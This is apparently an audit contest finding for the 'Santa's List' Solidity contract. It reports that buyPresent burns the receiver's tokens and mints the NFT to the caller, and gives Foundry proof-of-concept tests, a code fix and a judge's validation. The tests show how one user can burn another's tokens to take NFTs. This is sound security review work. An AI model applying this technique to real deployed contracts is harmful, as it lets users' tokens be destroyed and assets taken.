First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

When a user call "buyPresent" the tokens of the present receiver are burnt instead and the present is for the msg.sender

dianivanov

Summary

As per the protocol/doc "buyPresent(address presentReceiver)" in "SantasList" contract should burn the santa tokens of the msg.sender and give an NFT present to the given presentReceiver.
But it burns the tokens of the presentReceiver and gives the newly minted NFT to the msg.sender

Vulnerability Details

If you add these tests to the SantaListTest.t.sol they will pass, but they shouldn't:

function testBuyPresentForSomeoneElse_whenReceiverHasTokens_receiversTokensAreBurntAndThepresentGoesToTheSender() public {
address presentReceiver = makeAddr("presentReceiver");
​
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
//checking the receiver so he can get some tokens so the present buyer can
//use them to buy himself a present ...
santasList.checkList(presentReceiver, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(presentReceiver, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
//making sure the present receiver get the needed tokens
vm.startPrank(presentReceiver);
santasList.collectPresent();
//present receiver has 1e18 santa tokens
assertEq(santaToken.balanceOf(presentReceiver), 1e18);
​
vm.startPrank(user);
santasList.collectPresent();
//nft tokens of the user are 1
assertEq(santasList.balanceOf(user), 1);
//tokens of the user are 1e18
assertEq(santaToken.balanceOf(user), 1e18);
//"buying" a present for the receiver
santasList.buyPresent(presentReceiver);
//actually the present was for the msg.sender (user) and the santa tokens were burnt from the presentReceiver
//instead of burning them from the user
assertEq(santasList.balanceOf(user), 2);
assertEq(santaToken.balanceOf(user), 1e18);
assertEq(santaToken.balanceOf(presentReceiver), 0);
vm.stopPrank();
}
​
​
function testBuyPresentForSomeoneElse_revertsWithArithmeticOverflow() public {
address presentReceiver = makeAddr("presentReceiver");
​
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
//Will revert as the buyPresent will try to burn the presentReceiver's tokens
//but he has no tokens
vm.expectRevert();
santasList.buyPresent(presentReceiver);
vm.stopPrank();
}
​
​

Impact

Anyone can burn others tokens to get NFTs for themselves.

Tools Used

Manual inspection & Foundry testing

Recommendations

Add a new function to _mintAndIncrement nfts for a given address, you can actually modify the already existing one
in the way given below, you would just have to call it with mintFor = msg.sender wheny you want to mint for the sender,
just give the flexibility to _mintAndIncrement to mint for the provided address instead of only to the msg.sender

Make the following or similar changes to the "buyPresent" function in "SantasList" contract:

function buyPresent(address presentReceiver) external {
// burn from the msg.sender as he is the present buyer
i_santaToken.burn(msg.sender);
// mint the new token for the presentReceiver
_mintAndIncrement(presentReceiver);
}
​
//new function OR changed _mintAndIncrement function
function _mintAndIncrement(address mintFor) private {
_safeMint(mintFor, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.